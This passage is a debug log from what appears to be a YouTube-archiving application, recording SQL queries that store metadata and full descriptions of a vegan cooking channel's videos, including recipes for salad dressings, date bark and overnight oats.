\u00A0\u00A0\u00A0•\u00A0Healthy\u00A0Vegan\u00A0Summer\u00A0Salads\u00A0+\u00A03\u00A0HOMEMADE\u00A0V...\u00A0\u00A0)\n1 tbsp dijon mustard\n⅔ cup vegan mayo\n5 tbsp vegan sour cream\n¼ cup sweet green relish\n2 tsp lemon juice\n½ cup finely minced white onion\n1 to 2 tbsp plant milk to thin dressing as needed\n1. Add the chopped peeled potatoes to a large stockpot and cover with water. Bring to a boil and cook on medium-high heat until fork tender, about 10 to 12 minutes. Drain and rinse under cold water and set aside to continue cooling in a large serving bowl.\n2. Make the dressing: In a medium sized bowl add the mayo, sour cream, dijon mustard, relish, lemon juice and ranch powder and mix until well combined. \n3. To the potatoes add the chickpeas, chopped onion and ranch dressing and stir gently until the sauce is well combined. Cover the bowl with a lid or plastic wrap and chill in the fridge for at least 1 hour or preferably overnight. Keeps well in the fridge for 5 days.\nOptional serving suggestions: Bean chips and fresh orange slices (or other fruit you like)\n\n3. Zesty Black Bean Wraps\nRecipe for the Zesty Black Bean Mash on my blog: https://steamyvegan.com/zesty-black-b...\nTo make the wraps: Add a few spoonfuls of the black bean mash to a whole wheat or gluten-free tortilla and add a handful of leafy greens (I used arugula) and sliced tomatoes or red bell peppers (or any other veggie you like). Fold the tortilla into a wrap and enjoy right away or store in an airtight container for up to 3 days.\ (truncated) 20:31:08.124 [debug] QUERY OK source="sources" db=0.6ms idle=9.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.126 [debug] QUERY OK source="media_items" db=1.8ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-24 00:00:00Z], 1] 20:31:08.128 [debug] QUERY OK source="media_items" db=1.3ms idle=9.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Let me show you how to make the TikTok viral date bark recipe! Using simple and delicious ingredients like dates, nuts, nut butter and melted chocolate these delicious treats are perfect to satisfy a sweet tooth! 3 YUMMY DATE BARK RECIPES: the VIRAL OG Peanut Butter Chocolate Date Bark, Toasted Cashew & Coconut Date Bark, and Tahini Pecan Date Bark! Full recipes on my blog ➡️ https://steamyvegan.com/date-bark/\n\nMedjool dates are packed with fibre, vitamins and minerals and are a great alternative to many sweeteners in baking and desserts. Check out my video on how to make DATE PASTE & DATE SYRUP! ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0date\u00A0syrup\u00A0and\u00A0date\u00A0paste\u00A0//\u00A0N...\u00A0\u00A0\n\nGot a sweet tooth? Watch my full SWEET TREATS playlist for endless inspiration! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nNut free? Use sunflower seeds, pumpkin seeds, sunflower seed butter or tahini in any of the recipes below for an easy nut-free swap! \n\nINGREDIENTS\n\n1. Viral Chocolate Peanut Butter Date Bark\nPeanut butter\nPeanuts\nMelted semi sweet chocolate\nSea salt\n\n2. Toasted Cashew & Coconut\nMelted dark chocolate\nCoconut milk + sunflower seed butter + maple syrup + shredded coconut\nToasted cashews\nExtra shredded coconut for topping\n\n3. Tahini Pecan \nVegan Cadbury Milk Chocolate\nTahini\nChopped pecans\nSea salt\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How to Make the VIRAL TikTok DATE BARK! Vegan and gluten-free recipe", "8677edc7-2da1-4021-814a-8dd97ca391f0", 1, [], false, "Tp4HyLJi6aY", "https://www.youtube.com/watch?v=Tp4HyLJi6aY", 274, "/downloads/downloads/alec/Steamy Vegan/2023-08-24 How to Make the VIRAL TikTok DATE BARK! Vegan and gluten-free recipe/How to Make the VIRAL TikTok DATE BARK! Vegan and gluten-free recipe [Tp4HyLJi6aY].NA", false, false, false, 1, ~U[2023-08-24 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "Let me show you how to make the TikTok viral date bark recipe! Using simple and delicious ingredients like dates, nuts, nut butter and melted chocolate these delicious treats are perfect to satisfy a sweet tooth! 3 YUMMY DATE BARK RECIPES: the VIRAL OG Peanut Butter Chocolate Date Bark, Toasted Cashew & Coconut Date Bark, and Tahini Pecan Date Bark! Full recipes on my blog ➡️ https://steamyvegan.com/date-bark/\n\nMedjool dates are packed with fibre, vitamins and minerals and are a great alternative to many sweeteners in baking and desserts. Check out my video on how to make DATE PASTE & DATE SYRUP! ➡️ \u00A0\u00A0\u00A0•\u00A0How\u00A0to\u00A0make\u00A0date\u00A0syrup\u00A0and\u00A0date\u00A0paste\u00A0//\u00A0N...\u00A0\u00A0\n\nGot a sweet tooth? Watch my full SWEET TREATS playlist for endless inspiration! ➡️ \u00A0\u00A0\u00A0•\u00A0SWEET\u00A0TREATS\u00A0\u00A0\n\nNut free? Use sunflower seeds, pumpkin seeds, sunflower seed butter or tahini in any of the recipes below for an easy nut-free swap! \n\nINGREDIENTS\n\n1. Viral Chocolate Peanut Butter Date Bark\nPeanut butter\nPeanuts\nMelted semi sweet chocolate\nSea salt\n\n2. Toasted Cashew & Coconut\nMelted dark chocolate\nCoconut milk + sunflower seed butter + maple syrup + shredded coconut\nToasted cashews\nExtra shredded coconut for topping\n\n3. Tahini Pecan \nVegan Cadbury Milk Chocolate\nTahini\nChopped pecans\nSea salt\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "How to Make the VIRAL TikTok DATE BARK! Vegan and gluten-free recipe", 1, nil, false, "Tp4HyLJi6aY", "https://www.youtube.com/watch?v=Tp4HyLJi6aY", "/downloads/downloads/alec/Steamy Vegan/2023-08-24 How to Make the VIRAL TikTok DATE BARK! Vegan and gluten-free recipe/How to Make the VIRAL TikTok DATE BARK! Vegan and gluten-free recipe [Tp4HyLJi6aY].NA", false, ~U[2023-08-24 00:00:00Z]] 20:31:08.129 [debug] QUERY OK source="sources" db=0.8ms idle=7.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.131 [debug] QUERY OK source="media_items" db=1.8ms idle=7.6ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-19 00:00:00Z], 1] 20:31:08.135 [debug] QUERY OK source="media_items" db=2.3ms idle=8.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we’re making 4 of my new favourite vegan salad dressings that will transform your salads from boring to brilliant, including BARBIE SAUCE! These easy vegan salad dressing recipes are delicious, so simple to make and are healthier than any store-bought dressing you can find. Salad dressings are game changers. They truly make or break not only salads, but burgers, veggies and can completely transform an otherwise boring meal. \n\nCHECK OUT PART 1 OF THIS SALAD DRESSING SERIES HERE! ➡️ \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0\n\n\nLOVE SALADS? Check out these recent recipe vids below ⬇️\nCaesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nChick'n Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nTofu Egg Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\nNacho Salad: \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nRoasted Fennel, Radish and Crispy Chickpea Salad: \u00A0\u00A0\u00A0•\u00A0SALAD\u00A0THAT\u00A0ISN'T\u00A0BORING!\u00A0Roasted\u00A0fennel,\u00A0r...\u00A0\u00A0\n\n1. BARBIE SAUCE / MAD BEETS\n¼ cup pickled beet juice\n¼ cup sliced pickled beets\n2 tbsp maple syrup\n2 tbsp tahini\n¼ cup olive oil\n⅛ tsp salt\n⅛ tsp pepper\n½ tsp garlic powder\n\n2. MAPLE MUSTARD VINIGRETTE\n½ cup olive oil\n2 tbsp apple cider vinegar\n¼ cup maple syrup\n1 tbsp dijon mustard\n1 small clove of garlic\n½ tsp salt\n¼ tsp pepper\n\n3. STEAMY SAUCE\n¼ cup Tahini\n¼ cup pickled jalapeno juice\n1 tbsp Dijon mustard\n1 tbsp maple syrup\n2 tbsp Green onions (about 1 large)\n1 large Garlic clove, minced\n¼ tsp Chilli flakes\nSalt and pepper\n¼ cup Water\n\n\n4. VEGAN CAESAR\n¼ cup drippy tahini\njuice of ½ a lemon\n1 tsp dijon mustard\n2 tsp capers, finely minced\n1 clove of garlic, finely minced\nwater to thin out as needed\nsalt and pepper to taste\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "4 Unique Salad Dressings You've Never Tried Before! | Vegan, gluten-free", "5aa4368a-9312-4c62-be57-fe3b3ab6881a", 1, [], false, "evuzNZCrPXc", "https://www.youtube.com/watch?v=evuzNZCrPXc", 275, "/downloads/downloads/alec/Steamy Vegan/2023-08-19 4 Unique Salad Dressings You've Never Tried Before! | Vegan, gluten-free/4 Unique Salad Dressings You've Never Tried Before! | Vegan, gluten-free [evuzNZCrPXc].NA", false, false, false, 1, ~U[2023-08-19 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video we’re making 4 of my new favourite vegan salad dressings that will transform your salads from boring to brilliant, including BARBIE SAUCE! These easy vegan salad dressing recipes are delicious, so simple to make and are healthier than any store-bought dressing you can find. Salad dressings are game changers. They truly make or break not only salads, but burgers, veggies and can completely transform an otherwise boring meal. \n\nCHECK OUT PART 1 OF THIS SALAD DRESSING SERIES HERE! ➡️ \u00A0\u00A0\u00A0•\u00A0Stop\u00A0Wasting\u00A0Money\u00A0on\u00A0Store-Bought!\u00A05\u00A0Home...\u00A0\u00A0\n\n\nLOVE SALADS? Check out these recent recipe vids below ⬇️\nCaesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nChick'n Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nTofu Egg Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\nNacho Salad: \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nRoasted Fennel, Radish and Crispy Chickpea Salad: \u00A0\u00A0\u00A0•\u00A0SALAD\u00A0THAT\u00A0ISN'T\u00A0BORING!\u00A0Roasted\u00A0fennel,\u00A0r...\u00A0\u00A0\n\n1. BARBIE SAUCE / MAD BEETS\n¼ cup pickled beet juice\n¼ cup sliced pickled beets\n2 tbsp maple syrup\n2 tbsp tahini\n¼ cup olive oil\n⅛ tsp salt\n⅛ tsp pepper\n½ tsp garlic powder\n\n2. MAPLE MUSTARD VINIGRETTE\n½ cup olive oil\n2 tbsp apple cider vinegar\n¼ cup maple syrup\n1 tbsp dijon mustard\n1 small clove of garlic\n½ tsp salt\n¼ tsp pepper\n\n3. STEAMY SAUCE\n¼ cup Tahini\n¼ cup pickled jalapeno juice\n1 tbsp Dijon mustard\n1 tbsp maple syrup\n2 tbsp Green onions (about 1 large)\n1 large Garlic clove, minced\n¼ tsp Chilli flakes\nSalt and pepper\n¼ cup Water\n\n\n4. VEGAN CAESAR\n¼ cup drippy tahini\njuice of ½ a lemon\n1 tsp dijon mustard\n2 tsp capers, finely minced\n1 clove of garlic, finely minced\nwater to thin out as needed\nsalt and pepper to taste\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "4 Unique Salad Dressings You've Never Tried Before! | Vegan, gluten-free", 1, nil, false, "evuzNZCrPXc", "https://www.youtube.com/watch?v=evuzNZCrPXc", "/downloads/downloads/alec/Steamy Vegan/2023-08-19 4 Unique Salad Dressings You've Never Tried Before! | Vegan, gluten-free/4 Unique Salad Dressings You've Never Tried Before! | Vegan, gluten-free [evuzNZCrPXc].NA", false, ~U[2023-08-19 00:00:00Z]] 20:31:08.136 [debug] QUERY OK source="sources" db=0.9ms queue=0.5ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.139 [debug] QUERY OK source="media_items" db=2.3ms idle=9.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-17 00:00:00Z], 1] 20:31:08.141 [debug] QUERY OK source="media_items" db=1.4ms idle=11.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video we’re making 5 of my favourite vegan salad dressings that will transform your salads from boring to brilliant! These easy vegan salad dressing recipes are delicious, so simple to make and are healthier than any store-bought dressing you can find. Salad dressings are game changers. They truly make or break not only salads, but burgers, veggies and can completely transform an otherwise boring meal. \n\nMake sure you’re subscribed so you don’t miss PART 2 of this salad dressings series where I’ll show you 4 more bonus recipes that you need in your salads arsenal!\n\nLOVE SALADS? Check out these recent recipe vids below ⬇️\nCaesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nChick'n Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nTofu Egg Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\nNacho Salad: \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nRoasted Fennel, Radish and Crispy Chickpea Salad: \u00A0\u00A0\u00A0•\u00A0SALAD\u00A0THAT\u00A0ISN'T\u00A0BORING!\u00A0Roasted\u00A0fennel,\u00A0r...\u00A0\u00A0\n\n1. THOUSAND ISLAND\n¾ cup Vegan sour cream\n1.5 tbsp sweet relish\n2 tbsp Ketchup \n2 tsp Vinegar\n¼ tsp Salt\n3 tbsp chopped onions\n½ tsp paprika\nSmall clove minced garlic \n1 tsp hot sauce optional\n\n2. GREEN GODDESS\n⅓ cup Sour cream\n⅓ cup Mayo\n1 cup Fresh Cilantro, packed\n1 cup fresh parsley, packed\n¼ cup Mint leaves\n1 Green onion\n1 small Jalapeno\n2 tbsp Lime juice\n1 clove Garlic\n½ tsp maple syrup\n1 tbsp nutritional yeast\n½ to 1 tsp salt\n½ to 1 tsp black pepper \n\n3. CATALINA\n-¼ cup ketchup\n¼ cup red wine vinegar \n2½ tbsp maple syrup\n2 tbsp cup diced onion\n½ tsp paprika\n¼ cup olive oil\n⅛ tsp oregano\n⅛ tsp parsley\n½ tsp each Salt and pepper to taste\n\n4. RANCH \nRanch powder:\n3 tbsp nooch\n1 tsp dried chives\n2½ tbsp dried parsley\n1½ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\nDressing: \n⅓ cup vegan mayo\n2½ tbsp vegan sour cream\n1 tbsp Soy milk to thin out as needed\n1½ tbsp ranch powder\n1 tsp lemon juice\n\n5. CASHEW CHIPOTLE LIME\n1 cup soaked cashews\n⅓ cup chopped cilantro\n1 chipotle pepper in adobo\nJuice of 1 large lime\n¾ tsp sea salt\n½ cup water\n2 tbsp maple syrup\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Stop Wasting Money on Store-Bought! 5 Homemade Vegan Dressing Recipes", "1893b56f-8e82-48e4-a7e1-074b4abd60f7", 1, [], false, "TBa2APbUSbU", "https://www.youtube.com/watch?v=TBa2APbUSbU", 276, "/downloads/downloads/alec/Steamy Vegan/2023-08-17 Stop Wasting Money on Store-Bought! 5 Homemade Vegan Dressing Recipes/Stop Wasting Money on Store-Bought! 5 Homemade Vegan Dressing Recipes [TBa2APbUSbU].NA", false, false, false, 1, ~U[2023-08-17 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video we’re making 5 of my favourite vegan salad dressings that will transform your salads from boring to brilliant! These easy vegan salad dressing recipes are delicious, so simple to make and are healthier than any store-bought dressing you can find. Salad dressings are game changers. They truly make or break not only salads, but burgers, veggies and can completely transform an otherwise boring meal. \n\nMake sure you’re subscribed so you don’t miss PART 2 of this salad dressings series where I’ll show you 4 more bonus recipes that you need in your salads arsenal!\n\nLOVE SALADS? Check out these recent recipe vids below ⬇️\nCaesar Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Caesar\u00A0Salad\u00A0Recipe\u00A0\u00A0\nChick'n Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Chicken\u00A0Salad\u00A0Sandwich\u00A0//\u00A0Vegan\u00A0and\u00A0...\u00A0\u00A0\nTofu Egg Salad: \u00A0\u00A0\u00A0•\u00A0Vegan\u00A0Egg\u00A0Salad\u00A0-\u00A0THE\u00A0GREATEST\u00A0SANDWICH\u00A0YO...\u00A0\u00A0\nNacho Salad: \u00A0\u00A0\u00A0•\u00A0NACHO\u00A0SALAD!\u00A0Budget-friendly\u00A0vegan\u00A0recipe\u00A0🌱\u00A0\u00A0\nRoasted Fennel, Radish and Crispy Chickpea Salad: \u00A0\u00A0\u00A0•\u00A0SALAD\u00A0THAT\u00A0ISN'T\u00A0BORING!\u00A0Roasted\u00A0fennel,\u00A0r...\u00A0\u00A0\n\n1. THOUSAND ISLAND\n¾ cup Vegan sour cream\n1.5 tbsp sweet relish\n2 tbsp Ketchup \n2 tsp Vinegar\n¼ tsp Salt\n3 tbsp chopped onions\n½ tsp paprika\nSmall clove minced garlic \n1 tsp hot sauce optional\n\n2. GREEN GODDESS\n⅓ cup Sour cream\n⅓ cup Mayo\n1 cup Fresh Cilantro, packed\n1 cup fresh parsley, packed\n¼ cup Mint leaves\n1 Green onion\n1 small Jalapeno\n2 tbsp Lime juice\n1 clove Garlic\n½ tsp maple syrup\n1 tbsp nutritional yeast\n½ to 1 tsp salt\n½ to 1 tsp black pepper \n\n3. CATALINA\n-¼ cup ketchup\n¼ cup red wine vinegar \n2½ tbsp maple syrup\n2 tbsp cup diced onion\n½ tsp paprika\n¼ cup olive oil\n⅛ tsp oregano\n⅛ tsp parsley\n½ tsp each Salt and pepper to taste\n\n4. RANCH \nRanch powder:\n3 tbsp nooch\n1 tsp dried chives\n2½ tbsp dried parsley\n1½ tbsp dried dill\n1½ tbsp onion powder\n1½ tbsp garlic powder\n¾ tsp black pepper\n1½ tsp sea salt\nDressing: \n⅓ cup vegan mayo\n2½ tbsp vegan sour cream\n1 tbsp Soy milk to thin out as needed\n1½ tbsp ranch powder\n1 tsp lemon juice\n\n5. CASHEW CHIPOTLE LIME\n1 cup soaked cashews\n⅓ cup chopped cilantro\n1 chipotle pepper in adobo\nJuice of 1 large lime\n¾ tsp sea salt\n½ cup water\n2 tbsp maple syrup\n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Stop Wasting Money on Store-Bought! 5 Homemade Vegan Dressing Recipes", 1, nil, false, "TBa2APbUSbU", "https://www.youtube.com/watch?v=TBa2APbUSbU", "/downloads/downloads/alec/Steamy Vegan/2023-08-17 Stop Wasting Money on Store-Bought! 5 Homemade Vegan Dressing Recipes/Stop Wasting Money on Store-Bought! 5 Homemade Vegan Dressing Recipes [TBa2APbUSbU].NA", false, ~U[2023-08-17 00:00:00Z]] 20:31:08.142 [debug] QUERY OK source="sources" db=0.5ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:08.144 [debug] QUERY OK source="media_items" db=1.8ms idle=8.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-08-12 00:00:00Z], 1] 20:31:08.146 [debug] QUERY OK source="media_items" db=0.9ms idle=8.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["In this video I show you what I eat in a day as a vegan! I made all of Brad's favorite recipes from my blog (www.steamyvegan.com) and YouTube channel, all vegan and gluten-free recipes! Make sure you check out the recipes below that I mention in this video! \n\nBINGE MY 'WHAT I EAT IN A DAY' PLAYLIST! ➡️ \u00A0\u00A0\u00A0•\u00A0REALISTIC\u00A0'WHAT\u00A0I\u00A0EAT\u00A0IN\u00A0A\u00A0DAY'\u00A0VIDEOS\u00A0🌱\u00A0\u00A0\n\nTOO GOOD TO GO APP ➡️ https://www.toogoodtogo.com/en-ca\nBusiness sell their surplus food to consumers at 1/3 of the price, because food waste sucks! (not sponsored, just LOVE the app)\n\nRECIPES MENTIONED IN THIS VIDEO:\n1. CHOCOLATEY OVERNIGHT OATS (NO PROTEIN POWDER) - 30g protein per serving\n⅓ cup sprouted rolled oats (regular rolled oats are fine if you can’t find sprouted)\n1 tbsp chia seeds\n1 tbsp ground flax seeds \n1 tbsp hemp hearts\n2.5 tbsp pb powder, or 2 tbsp any nut/seed butter\n1 cup soy milk\n1 tbsp cocoa powder\n1 tbsp maple syrup\n1 tsp vanilla\n½ tsp cinnamon\nPinch of salt\n\n2. VEGAN FAJITAS ➡️ \u00A0\u00A0\u00A0•\u00A0VEGAN\u00A0MEAL\u00A0PREP:\u00A0Sheet\u00A0Pan\u00A0Fajitas\u00A0for\u00A0Bud...\u00A0\u00A0\n3. NICOISE SALAD ➡️ \u00A0\u00A0\u00A0•\u00A0HIGH\u00A0PROTEIN\u00A0VEGAN\u00A0NICOISE\u00A0SALAD!\u00A0French-i...\u00A0\u00A0\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "VEGAN What I Eat In a Day | Hubby's fave recipes! Plant-based & gluten-free", "3019cd47-9afd-4480-97ca-e757aab61c2f", 1, [], false, "pEMFI46RXq8", "https://www.youtube.com/watch?v=pEMFI46RXq8", 277, "/downloads/downloads/alec/Steamy Vegan/2023-08-12 VEGAN What I Eat In a Day | Hubby's fave recipes! Plant-based & gluten-free/VEGAN What I Eat In a Day | Hubby's fave recipes! Plant-based & gluten-free [pEMFI46RXq8].NA", false, false, false, 1, ~U[2023-08-12 00:00:00Z], ~U[2026-03-22 03:31:08Z], ~U[2026-03-22 03:31:08Z], "In this video I show you what I eat in a day as a vegan! I made all of Brad's favorite recipes from my blog (www.steamyvegan.com) and YouTube channel, all vegan and gluten-free recipes! Make sure you check out the recipes below that I mention in this video! \n\nBINGE MY 'WHAT I EAT IN A DAY' PLAYLIST! ➡️ 